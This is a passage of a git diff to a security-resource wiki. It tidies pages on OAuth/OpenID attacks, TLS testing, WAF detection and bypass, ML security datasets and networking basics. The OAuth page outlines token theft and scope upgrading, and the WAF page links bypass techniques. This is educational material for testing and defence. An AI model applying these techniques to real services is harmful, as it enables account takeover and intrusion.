[https://hackerone.com/reports/405100](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) -* [https://ysamm.com/?p=379](https://hackerone.com/reports/49759https:/hackerone.com/reports/131202https:/hackerone.com/reports/6017https:/hackerone.com/reports/7900https:/hackerone.com/reports/244958https:/hackerone.com/reports/405100https:/ysamm.com/?p=379) +* [https://hackerone.com/reports/49759](https://hackerone.com/reports/49759) +* [https://hackerone.com/reports/131202](https://hackerone.com/reports/131202) +* [https://hackerone.com/reports/6017](https://hackerone.com/reports/6017) +* [https://hackerone.com/reports/7900](https://hackerone.com/reports/7900) +* [https://hackerone.com/reports/244958](https://hackerone.com/reports/244958) +* [https://hackerone.com/reports/405100](https://hackerone.com/reports/405100) +* [https://ysamm.com/?p=379](https://ysamm.com/?p=379) * [https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/](https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/) * [http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html](http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html) * [https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893](https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893) @@ -90,7 +90,7 @@ * JS queries that handles URI parameters, XSS injections, HTML injections, etc. * [https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page) * Flawed scope validation - * Generally, when a token is granted, it is only for the scope defined in the request. However it is possible to "upgrade" the scope of access by exploiting a flawed OAuth implimentation. + * Generally, when a token is granted, it is only for the scope defined in the request. However it is possible to "upgrade" the scope of access by exploiting a flawed OAuth implementation. * With the authorization code flow, it may be possible for an attacker to register their own client application with the OAuth service. * With the implicit grant flow, tokens are sent via the browser and an attacker can steal tokens associated with innocent client applications and use them directly. Once they have stolen an access token, they can send a normal browser-based request to the OAuth service's `/userinfo` endpoint, manually adding a new `scope` parameter in the process. * Unverified user registration @@ -120,7 +120,7 @@ ## **OpenID** - **** [https://portswigger.net/web-security/oauth/openid](https://portswigger.net/web-security/oauth/openid) +* [PortSwigger: OpenID Connect attacks](https://portswigger.net/web-security/oauth/openid) * OpenID Connect extends the OAuth protocol to provide a dedicated identity and authentication layer that sits on top of the basic OAuth implementation. * OpenID Connect slots neatly into the normal OAuth flows. From the client application's perspective, the key difference is that there is an additional, standardized set of scopes that are the same for all providers, and an extra response type: `id_token`. diff --git a/web-app-hacking/web-technologies/ssl-tls-and-certificates.md b/web-app-hacking/web-technologies/ssl-tls-and-certificates.md index 89c93f4..cd187c3 100644 --- a/web-app-hacking/web-technologies/ssl-tls-and-certificates.md +++ b/web-app-hacking/web-technologies/ssl-tls-and-certificates.md @@ -1,14 +1,15 @@ # SSL/TLS and Certificates +This page is for TLS configuration testing and certificate handling in a web context. Passive certificate discovery and domain investigation belong in Cyber Intelligence. + ## Tools * [SSL Cipher Suite Enum](https://github.com/portcullislabs/ssl-cipher-suite-enum) - ssl-cipher-suite enum is a Perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS) * [https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/](https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/) -* Testssl.sh - a common tool used to audit the ciphers and protocols supported by remote servers, allowing people to determine if a secure configuration is enforced or not. +* [testssl.sh](https://github.com/drwetter/testssl.sh) - Audits ciphers, protocols, certificate details, and common TLS vulnerabilities. * [sslScrape](https://github.com/cheetz/sslScrape) - strips hostnames form certs over port 443 connections * [SSLYZE ](https://github.com/nabla-c0d3/sslyze)- TLS/SSL config analyzer * [tls\_prober](https://github.com/WestpointLtd/tls\_prober) - A tool to fingerprint SSL/TLS servers -* [testssl.sh](https://github.com/drwetter/testssl.sh) * [https://github.com/IBM/tls-vuln-cheatsheet](https://github.com/IBM/tls-vuln-cheatsheet) #### Certificate search @@ -19,7 +20,7 @@ * [CertSpotter](https://sslmate.com/certspotter/) - Monitors your domains for expiring, unauthorized, and invalid SSL certificates * [SynapsInt](https://synapsint.com/) - The unified OSINT research tool * [Censys - Certificates](https://search.censys.io/certificates) - Certificates Search -* [PassiveTotal](https://www.riskiq.com/products/passivetotal/) - Security intelligence that scales security operations and response +* [Microsoft Defender Threat Intelligence](https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-threat-intelligence) - RiskIQ PassiveTotal has been folded into Microsoft Defender Threat Intelligence. ## OpenSSL @@ -28,7 +29,7 @@ Used to create self signed certificates for SSL encryption ``` -# openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out cirtificate.crt +# openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out certificate.crt ``` * Tags diff --git a/web-app-hacking/web-technologies/web-application-firewall.md b/web-app-hacking/web-technologies/web-application-firewall.md index 27bb372..8ad24aa 100644 --- a/web-app-hacking/web-technologies/web-application-firewall.md +++ b/web-app-hacking/web-technologies/web-application-firewall.md @@ -4,13 +4,19 @@ [Awesome-WAF](https://github.com/0xInfection/Awesome-WAF) - The Definitive Guide. +## WAF and HTTP Defense Tools + +* [ModSecurity](https://github.com/SpiderLabs/ModSecurity) - Open-source web application firewall engine. +* [ModSecurity-apache](https://github.com/SpiderLabs/ModSecurity-apache) - Legacy ModSecurity 2.x connector for Apache. For modern deployments, review ModSecurity v3/libmodsecurity. +* [mod_evasive](https://github.com/jzdziarski/mod_evasive) - Legacy Apache module for DoS and brute-force protection. Evaluate maintenance status before deployment. +
Detection and Fingerprinting Tools * [WhatWaf](https://github.com/Ekultek/WhatWaf) - Detect and bypass web application firewalls and protection systems * [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity). -* [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm). +* [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which uses a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm).
@@ -57,7 +63,7 @@ * [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com) * [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com). * [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com). -* [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL\_Injection\_Bypassing\_WAF) - By [@OWASP](https://owasp.com). +* [SQL Injection Bypassing WAF](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) - By [OWASP](https://owasp.org). * [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi). * [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al). * [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl) diff --git a/yellow-ai-machine-learning-and-foss.md b/yellow-ai-machine-learning-and-foss.md index d73dfe9..31bc89d 100644 --- a/yellow-ai-machine-learning-and-foss.md +++ b/yellow-ai-machine-learning-and-foss.md @@ -1,232 +1,117 @@ +--- +description: AI, machine learning, free and open-source software, security datasets, research tooling, and lab-building resources. +--- + # Yellow - AI, Machine Learning, and FOSS +Use this page for AI/ML learning, security research datasets, and free/open source software references. Keep detection engineering in Blue, lab building in Training, and operational tooling in the relevant Red/Blue/DFIR sections. + ## AI Tools
### AI Tool Collections -* [https://theresanaiforthat.com/alphabetical/](https://theresanaiforthat.com/alphabetical/) -* [https://www.futurepedia.io/](https://www.futurepedia.io/) -* [https://www.aishrine.com/](https://www.aishrine.com/) -* [https://theresanaiforthat.com/](https://theresanaiforthat.com/) +* [There's An AI For That](https://theresanaiforthat.com/) - Broad AI tool catalog. +* [Futurepedia](https://www.futurepedia.io/) - AI tool directory. +* [AI Shrine](https://www.aishrine.com/) - AI resource index. ### Interesting AI Articles -* [https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models](https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models) -* [https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b](https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b) +* [Should we be worried about malicious use of AI language models?](https://www.computerweekly.com/news/252529081/Should-we-be-worried-about-malicious-use-of-AI-language-models) +* [ChatGPT in schools and universities](https://apnews.com/article/technology-education-colleges-and-universities-france-a0ab654549de387316404a7be019116b) ### Prompt Crafting -* [https://prmpts.carrd.co/](https://prmpts.carrd.co/) +* [prmpts.carrd.co](https://prmpts.carrd.co/) ## FOSS - Free and Open Source Software -* [https://www.opensourcealternative.to/](https://www.opensourcealternative.to/) - -## Machine Learning +* [Open Source Alternative To](https://www.opensourcealternative.to/) - Directory of open source alternatives to commercial tools. -### **Attack Research** +## Machine Learning for Security -Proper research all starts with one thing: Data! +### Research Data -* [DetectionLab](https://github.com/clong/DetectionLab) - Automate the creation of a lab environment complete with security tooling and logging best practices -* [Mitre CAR](https://car.mitre.org/) - The MITRE Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by [MITRE](https://www.mitre.org) based on the [MITRE ATT\&CK](https://attack.mitre.org/) adversary model. - * CAR is focused on providing a set of validated and well-explained analytics, in particular with regards to their operating theory and rationale. -* [soc-faker](https://github.com/swimlane/soc-faker) - A python package for use in generating fake data for SOC and security automation. +Good ML research starts with reliable data. Security datasets can also be useful for detection engineering, packet analysis, malware analysis, and training labs. -
+* [Awesome Cybersecurity Datasets](https://github.com/shramos/Awesome-Cybersecurity-Datasets) - Awesome list; duplicate is allowed under the guide's Awesome List exception. +* [VizSec research datasets](https://vizsec.org/data/) +* [Splunk Security Dataset](https://live.splunk.com/splunk-security-dataset-project) +* [OTRF Security Datasets](https://github.com/OTRF/Security-Datasets) +* [SecRepo](https://www.secrepo.com/) - Security data samples. +* [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - PCAP samples for post-exploitation techniques. +* [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows event attack samples. +* [Public PCAP files for download](https://www.netresec.com/?page=PcapFiles) +* [Splunk Boss of the SOC v3 dataset](https://github.com/splunk/botsv3) +* [PhishingKitTracker](https://github.com/marcoramilli/PhishingKitTracker) - Phishing kit samples for security research. -Datasets +Practice labs and generated SOC datasets are maintained in Training and Blue Defense. -* [Awesome Lists Collection: Security Data Sets](https://github.com/shramos/Awesome-Cybersecurity-Datasets) -* [VizSec research and development data sets](https://vizsec.org/data/) -* [Splunk Security Dataset](https://live.splunk.com/splunk-security-dataset-project) - Access real data in Splunk hosted portal and explore/analyze various datasets with an educational tutorial. -* [OTRF/Security-Datasets](https://github.com/OTRF/Security-Datasets) - The Open Threat Research Forge project is an open-source initiatve that contributes malicious and benign datasets, from different platforms, to the infosec community to expedite data analysis and threat research. -* [SecRepo - Security Data Samples Repository](https://www.secrepo.com/) -* [PCAP-ATTACK](https://github.com/sbousseaden/PCAP-ATTACK) - PCAP Samples for Different Post Exploitation Techniques -* [EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows Events Attack Samples -* [Public PCAP files for download](https://www.netresec.com/?page=PcapFiles) - This is a list of public packet capture repositories, which are freely available on the Internet. Most of the sites listed below share Full Packet Capture (FPC) files, but some do unfortunately only have truncated frames. -* [Splunk Boss of the SOC version 3 dataset.](https://github.com/splunk/botsv3) Datasets from one of the biggest data mining competitions in the world. Perfect for Splunk training or developing search used cases. -* [PhishingKitTracker ](https://github.com/marcoramilli/PhishingKitTracker)- Samples of phishing kits for use in security research +{% content-ref url="training/practice-lab.md" %} +[practice-lab.md](training/practice-lab.md) +{% endcontent-ref %} -
+{% content-ref url="blue-defense/event-detection/detection-use-cases/" %} +[detection-use-cases](blue-defense/event-detection/detection-use-cases/) +{% endcontent-ref %} -### **Network Analysis through Machine Learning** +### Detection and Analytics References -* [Awesome Lists Collection: Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) -* [Incremental Machine Learning by Example: Detecting Suspicious Activity with Zeek Data Streams, River, and JA3 Hashes – NCC Group Research](https://research.nccgroup.com/2021/06/14/incremental-machine-leaning-by-example-detecting-suspicious-activity-with-zeek-data-streams-river-and-ja3-hashes/) -* [Applying Machine Learning to Network Anomalies | Part 1 - YouTube](https://www.youtube.com/watch?v=qOfgNd-qijI) -* [Machine Learning Techniques for Intrusion Detection - machine-learning-techniques-intrusion-detection-40330.pdf](https://www.sans.org/reading-room/whitepapers/detection/machine-learning-techniques-intrusion-detection-40330) -* [IT Security From The Eyes Of Data Scientists](https://www.darkreading.com/it-security-from-the-eyes-of-data-scientists/d/d-id/1140831) -* [How Enterprises Can Use Big Data To Improve Security](https://www.darkreading.com/how-enterprises-can-use-big-data-to-improve-security/d/d-id/1140059) +* [MITRE CAR](https://car.mitre.org/) - MITRE Cyber Analytics Repository. CAR has seen limited updates compared with newer ATT&CK-adjacent projects, so treat it as a useful reference rather than a complete current coverage map. +* [soc-faker](https://github.com/swimlane/soc-faker) - Generates fake SOC and security automation data. +* [Awesome Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) +* [Incremental Machine Learning by Example: Zeek, River, and JA3](https://research.nccgroup.com/2021/06/14/incremental-machine-leaning-by-example-detecting-suspicious-activity-with-zeek-data-streams-river-and-ja3-hashes/) +* [Applying Machine Learning to Network Anomalies](https://www.youtube.com/watch?v=qOfgNd-qijI) +* [Machine Learning Techniques for Intrusion Detection](https://www.sans.org/reading-room/whitepapers/detection/machine-learning-techniques-intrusion-detection-40330) +* [IT Security From The Eyes Of Data Scientists](https://www.darkreading.com/it-security-from-the-eyes-of-data-scientists/d/d-id/1140831) - Historical context. +* [How Enterprises Can Use Big Data To Improve Security](https://www.darkreading.com/how-enterprises-can-use-big-data-to-improve-security/d/d-id/1140059) - Historical context. -### Machine Learning Books +## Machine Learning Books
Machine Learning Books -* [A Brief Introduction to Machine Learning for Engineers](https://arxiv.org/pdf/1709.02840.pdf) - Osvaldo Simeone (PDF) - - - -* [A Brief Introduction to Neural Networks](http://www.dkriesel.com/en/science/neural\_networks) - - - -* [A Comprehensive Guide to Machine Learning](https://www.eecs189.org/static/resources/comprehensive-guide.pdf) - Soroush Nasiriany, Garrett Thomas, William Wang, Alex Yang (PDF) - - - -* [A Course in Machine Learning](http://ciml.info/dl/v0\_9/ciml-v0\_9-all.pdf) (PDF) - - - -* [A First Encounter with Machine Learning](https://www.ics.uci.edu/\~welling/teaching/ICS273Afall11/IntroMLBook.pdf) (PDF) - - - -* [A Selective Overview of Deep Learning](https://arxiv.org/abs/1904.05526) - Fan, Ma, and Zhong (PDF) - - - -* [Algorithms for Reinforcement Learning](https://sites.ualberta.ca/\~szepesva/papers/RLAlgsInMDPs.pdf) - Csaba Szepesvári (PDF) - - - -* [An Introduction to Statistical Learning](http://www-bcf.usc.edu/\~gareth/ISL/) - Gareth James, Daniela Witten, Trevor Hastie and Robert Tibshirani - - - +* [A Brief Introduction to Machine Learning for Engineers](https://arxiv.org/pdf/1709.02840.pdf) - Osvaldo Simeone. +* [A Brief Introduction to Neural Networks](http://www.dkriesel.com/en/science/neural_networks) +* [A Comprehensive Guide to Machine Learning](https://www.eecs189.org/static/resources/comprehensive-guide.pdf) - Soroush Nasiriany, Garrett Thomas, William Wang, Alex Yang. +* [A Course in Machine Learning](http://ciml.info/dl/v0_9/ciml-v0_9-all.pdf) +* [A First Encounter with Machine Learning](https://www.ics.uci.edu/~welling/teaching/ICS273Afall11/IntroMLBook.pdf) +* [A Selective Overview of Deep Learning](https://arxiv.org/abs/1904.05526) - Fan, Ma, and Zhong. +* [Algorithms for Reinforcement Learning](https://sites.ualberta.ca/~szepesva/papers/RLAlgsInMDPs.pdf) - Csaba Szepesvari. +* [An Introduction to Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) - Gareth James, Daniela Witten, Trevor Hastie, and Robert Tibshirani. * [Bayesian Reasoning and Machine Learning](http://web4.cs.ucl.ac.uk/staff/D.Barber/pmwiki/pmwiki.php?n=Brml.HomePage) - - - -* [Deep Learning](http://www.deeplearningbook.org) - Ian Goodfellow, Yoshua Bengio and Aaron Courville - - - -* [Deep Learning for Coders with Fastai and PyTorch](https://github.com/fastai/fastbook) - Jeremy Howard, Sylvain Gugger (Jupyter Notebooks) - - - -* [Deep Learning with PyTorch](https://pytorch.org/assets/deep-learning/Deep-Learning-with-PyTorch.pdf) - Eli Stevens, Luca Antiga, Thomas Viehmann (PDF) - - - +* [Deep Learning](http://www.deeplearningbook.org) - Ian Goodfellow, Yoshua Bengio, and Aaron Courville. +* [Deep Learning for Coders with fastai and PyTorch](https://github.com/fastai/fastbook) +* [Deep Learning with PyTorch](https://pytorch.org/assets/deep-learning/Deep-Learning-with-PyTorch.pdf) * [Dive into Deep Learning](http://d2l.ai) - - - -* [Explorations in Parallel Distributed Processing: A Handbook of Models, Programs, and Exercises](https://web.stanford.edu/group/pdplab/pdphandbook) - James L. McClelland - - - -* [Foundations of Machine Learning, Second Edition](https://mitpress.ublish.com/ereader/7093/?preview=#page/Cover) - Mehryar Mohri, Afshin Rostamizadeh, Ameet Talwalkar - - - -* [Free and Open Machine Learning](https://freeandopenmachinelearning.readthedocs.io/en/latest/index.html) - Maikel Mardjan - - - +* [Explorations in Parallel Distributed Processing](https://web.stanford.edu/group/pdplab/pdphandbook) +* [Foundations of Machine Learning, Second Edition](https://mitpress.ublish.com/ereader/7093/?preview=#page/Cover) +* [Free and Open Machine Learning](https://freeandopenmachinelearning.readthedocs.io/en/latest/index.html) * [Gaussian Processes for Machine Learning](http://www.gaussianprocess.org/gpml/) - - - -* [IBM Machine Learning for Dummies](https://www.ibm.com/downloads/cas/GB8ZMQZ3) - Judith Hurwitz, Daniel Kirsch - - - +* [IBM Machine Learning for Dummies](https://www.ibm.com/downloads/cas/GB8ZMQZ3) * [Information Theory, Inference, and Learning Algorithms](http://www.inference.phy.cam.ac.uk/itila/) - - - -* [Interpretable Machine Learning](https://christophm.github.io/interpretable-ml-book/) - Christoph Molnar - - - -* [Introduction to CNTK Succinctly](https://www.syncfusion.com/ebooks/cntk\_succinctly) - James McCaffrey - - - -* [Introduction to Machine Learning](http://arxiv.org/abs/0904.3664v1) - Amnon Shashua - - - -* [Keras Succinctly](https://www.syncfusion.com/ebooks/keras-succinctly) - James McCaffrey - - - -* [Learn Tensorflow](https://bitbucket.org/hrojas/learn-tensorflow) - Jupyter Notebooks - - - -* [Learning Deep Architectures for AI](https://mila.quebec/wp-content/uploads/2019/08/TR1312.pdf) (PDF) - - - -* [Machine Learning](http://www.intechopen.com/books/machine\_learning) - - - -* [Machine Learning for Data Streams](https://moa.cms.waikato.ac.nz/book-html/) - Albert Bifet, Ricard Gavaldà, Geoff Holmes, Bernhard Pfahringer - - - -* [Machine Learning from Scratch](https://dafriedman97.github.io/mlbook/content/introduction.html) - Danny Friedman - - - -* [Machine Learning, Neural and Statistical Classification](http://www1.maths.leeds.ac.uk/\~charles/statlog/) - - - -* [Mathematics for Machine Learning](https://gwthomas.github.io/docs/math4ml.pdf) - Garrett Thomas (PDF) - - - -* [Mathematics for Machine Learning](https://mml-book.github.io) - Marc Peter Deisenroth, A Aldo Faisal, and Cheng Soon Ong - - - +* [Interpretable Machine Learning](https://christophm.github.io/interpretable-ml-book/) +* [Introduction to CNTK Succinctly](https://www.syncfusion.com/ebooks/cntk_succinctly) +* [Introduction to Machine Learning](http://arxiv.org/abs/0904.3664v1) +* [Keras Succinctly](https://www.syncfusion.com/ebooks/keras-succinctly) +* [Learn Tensorflow](https://bitbucket.org/hrojas/learn-tensorflow) +* [Learning Deep Architectures for AI](https://mila.quebec/wp-content/uploads/2019/08/TR1312.pdf) +* [Machine Learning](http://www.intechopen.com/books/machine_learning) +* [Machine Learning for Data Streams](https://moa.cms.waikato.ac.nz/book-html/) +* [Machine Learning from Scratch](https://dafriedman97.github.io/mlbook/content/introduction.html) +* [Machine Learning, Neural and Statistical Classification](http://www1.maths.leeds.ac.uk/~charles/statlog/) +* [Mathematics for Machine Learning](https://gwthomas.github.io/docs/math4ml.pdf) - Garrett Thomas. +* [Mathematics for Machine Learning](https://mml-book.github.io) - Marc Peter Deisenroth, A Aldo Faisal, and Cheng Soon Ong. * [Neural Networks and Deep Learning](http://neuralnetworksanddeeplearning.com) - - - -* [Probabilistic Models in the Study of Language](http://idiom.ucsd.edu/\~rlevy/pmsl\_textbook/text.html) (Draft, with R code) - - - -* [Python Machine Learning Projects](https://www.digitalocean.com/community/books/python-machine-learning-projects-a-digitalocean-ebook) - Lisa Tagliaferri and Brian Boucheron (PDF, EPUB, MOBI) - - - -* [Reinforcement Learning: An Introduction](http://incompleteideas.net/book/RLbook2020.pdf) - Richard S. Sutton, Andrew G. Barto (PDF) - - - -* [Speech and Language Processing (3rd Edition Draft)](https://web.stanford.edu/\~jurafsky/slp3/ed3book.pdf) - Daniel Jurafsky, James H. Martin (PDF) - - - -* [The Elements of Statistical Learning](https://web.stanford.edu/\~hastie/ElemStatLearn/) - Trevor Hastie, Robert Tibshirani, and Jerome Friedman - - - -* [The LION Way: Machine Learning plus Intelligent Optimization](https://intelligent-optimization.org/LIONbook/lionbook\_3v0.pdf) - Roberto Battiti, Mauro Brunato (PDF) - - - -* [The Python Game Book](http://thepythongamebook.com/en%3Astart) - - - -* [Top 10 Machine Learning Algorithms Every Engineer Should Know](https://www.dezyre.com/article/top-10-machine-learning-algorithms/202) - Binny Mathews and Omair Aasim - - - -* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/\~shais/UnderstandingMachineLearning) - Shai Shalev-Shwartz, Shai Ben-David +* [Probabilistic Models in the Study of Language](http://idiom.ucsd.edu/~rlevy/pmsl_textbook/text.html) +* [Python Machine Learning Projects](https://www.digitalocean.com/community/books/python-machine-learning-projects-a-digitalocean-ebook) +* [Reinforcement Learning: An Introduction](http://incompleteideas.net/book/RLbook2020.pdf) +* [Speech and Language Processing, 3rd Edition Draft](https://web.stanford.edu/~jurafsky/slp3/ed3book.pdf) +* [The Elements of Statistical Learning](https://web.stanford.edu/~hastie/ElemStatLearn/) +* [The LION Way: Machine Learning plus Intelligent Optimization](https://intelligent-optimization.org/LIONbook/lionbook_3v0.pdf) +* [Top 10 Machine Learning Algorithms Every Engineer Should Know](https://www.dezyre.com/article/top-10-machine-learning-algorithms/202) +* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/~shais/UnderstandingMachineLearning)
diff --git a/yellow-neteng-sysadmin.md b/yellow-neteng-sysadmin.md index 071470f..10b138b 100644 --- a/yellow-neteng-sysadmin.md +++ b/yellow-neteng-sysadmin.md @@ -1,159 +1,164 @@ +--- +description: Networking, protocol, operating system, Windows, Linux, macOS, Active Directory, sysadmin, and infrastructure references for security practitioners. +--- + # Yellow - NetEng/SysAdmin -## **Networking** - -* [https://www.geeksforgeeks.org/computer-network-tutorials/](https://www.geeksforgeeks.org/computer-network-tutorials/) - One of the most detailed and thorough open learning tools for computer science topics on the web. Everything you need to know when learning about networking. -* [The TCP/IP Guide](http://www.tcpipguide.com/free/t\_toc.htm) - The online version of the No Starch Press book published for free. Amazing resource for understanding network connections. - -### **Misc Resources** - -* Network Design and Topology - * [An Introduction to Computer Networks](http://intronetworks.cs.luc.edu) (HTML, PDF, Kindle) - * [Bits, Signals, and Packets: An Introduction to Digital Communications and Networks](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-02-introduction-to-eecs-ii-digital-communication-systems-fall-2012/readings/) - * [Code Connected vol.1](http://hintjens.wdfiles.com/local--files/main%3Afiles/cc1pe.pdf) (PDF) (book on ZeroMQ) - * [Computer Networking : Principles, Protocols and Practice](http://cnp3book.info.ucl.ac.be/1st/html/index.html) (HTML, ePub, PDF, Kindle) - * [Computer Networks: A Systems Approach](https://book.systemsapproach.org) - Larry Peterson and Bruce Davie (HTML, epub, mobi, PDF) - * [The System Design Primer](https://github.com/donnemartin/system-design-primer) - learn how to design large-scale systems. - * [Awesome Scalability](https://github.com/binhnguyennus/awesome-scalability) - best practices in building High Scalability, High Availability, High Stability, and more. - * [Web Architecture 101](https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a) - the basic architecture concepts. -* IP Addressing - * [Understanding IP Addressing: Everything you ever wanted to know](http://pages.di.unipi.it/ricci/501302.pdf) (PDF) - * [IPv6 for IPv4 Experts](https://sites.google.com/site/yartikhiy/home/ipv6book) - Yar Tikhiy (PDF) -* Network Protocols - * [Introduction to HTTP](https://launchschool.com/books/http) - Launch School - * [How HTTPS Works](https://howhttps.works) - DNSimple - * [HTTP Succinctly, Syncfusion](https://www.syncfusion.com/resources/techportal/ebooks/http) (PDF, Kindle) (email address _requested_, not required) - * [HTTP2 Explained](http://daniel.haxx.se/http2/) - Daniel Stenberg -* Distributed Systems - * [Distributed systems for fun and profit](http://book.mixu.net/distsys/single-page.html) - * [High-Performance Browser Networking](https://hpbn.co) - Ilya Grigorik - * [Kafka, The definitive Guide](https://assets.confluent.io/m/1b509accf21490f0/original/20170707-EB-Confluent\_Kafka\_Definitive-Guide\_Complete.pdf) - Neha Narkhede (PDF) -* Training - * [https://tryhackme.com/room/introtonetworking](https://tryhackme.com/room/introtonetworking) - -### **IP Range Reference** - -* [Nessus/Tenable Cloud Scanner IP range](https://docs.tenable.com/tenableio/Content/Settings/CloudSensors.htm) -* [GCloud IP range JSON](https://www.gstatic.com/ipranges/cloud.json) -* [Azure Cloud IP Range](https://www.microsoft.com/en-us/download/details.aspx?id=56519) - -## **Operating Systems** - -### **Linux** - -* [https://linuxjourney.com/](https://linuxjourney.com/) - The absolutely best resource for starting your journey to understanding linux -* [https://nostarch.com/linuxbasicsforhackers](https://nostarch.com/linuxbasicsforhackers) - More focused on offensive security, a great book for learning how to use the linux OS. -* [https://www.netacad.com/courses/os-it/ndg-linux-unhatched](https://www.netacad.com/courses/os-it/ndg-linux-unhatched) - Great course from Cisco on Linux basics -* [https://www.roppers.org/courses/computing-fundamentals](https://www.roppers.org/courses/computing-fundamentals) - Great and detailed linux beginners class from Roppers -* TrHackMe - Great CTF style training - * [https://tryhackme.com/room/linuxfundamentalspart1](https://tryhackme.com/room/linuxfundamentalspart1) - * [https://tryhackme.com/room/linuxfundamentalspart2](https://tryhackme.com/room/linuxfundamentalspart2) - * [https://tryhackme.com/room/linuxfundamentalspart3](https://tryhackme.com/room/linuxfundamentalspart3) -* Specific Distributions - * [https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf) -* Book References - * _Operator Handbook: Linux\_Defend - pg. 122_ - * _Operator Handbook: Linux\_Ports- pg. 133_ - * _Operator Handbook: Linux\_Structure - pg. 143_ -* CLI and Scripting - * [https://nostarch.com/tlcl2](https://nostarch.com/tlcl2) - The book to read for understanding your way around the linux command line. Pairs very well with [https://overthewire.org/wargames/bandit/](https://overthewire.org/wargames/bandit/) - * [https://tldp.org/LDP/abs/html/index.html](https://tldp.org/LDP/abs/html/index.html) - Advanced Bash scripting Guide. - -**Bash is the default command line shell for Linux operating systems** +This page is for the fundamentals behind security work: networking, protocols, operating systems, automation, and systems administration. Keep hands-on offensive tradecraft in Red, detection and hardening in Blue, DFIR workflows in DFIR, and courses or labs in Training. + +## Networking + +### Core Learning + +* [GeeksforGeeks computer network tutorials](https://www.geeksforgeeks.org/computer-network-tutorials/) - Broad networking tutorial collection. +* [The TCP/IP Guide](http://www.tcpipguide.com/free/t_toc.htm) - Free online version of the No Starch Press book. +* [An Introduction to Computer Networks](http://intronetworks.cs.luc.edu) - Free networking textbook. +* [Bits, Signals, and Packets](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-02-introduction-to-eecs-ii-digital-communication-systems-fall-2012/readings/) - MIT OpenCourseWare reading. +* [Computer Networking: Principles, Protocols and Practice](http://cnp3book.info.ucl.ac.be/1st/html/index.html) +* [Computer Networks: A Systems Approach](https://book.systemsapproach.org) - Larry Peterson and Bruce Davie. +* [The System Design Primer](https://github.com/donnemartin/system-design-primer) +* [Awesome Scalability](https://github.com/binhnguyennus/awesome-scalability) +* [Web Architecture 101](https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a) + +### IP Addressing and Protocols + +* [Understanding IP Addressing](http://pages.di.unipi.it/ricci/501302.pdf) +* [IPv6 for IPv4 Experts](https://sites.google.com/site/yartikhiy/home/ipv6book) +* [Introduction to HTTP](https://launchschool.com/books/http) +* [How HTTPS Works](https://howhttps.works) +* [HTTP Succinctly](https://www.syncfusion.com/resources/techportal/ebooks/http) +* [HTTP/2 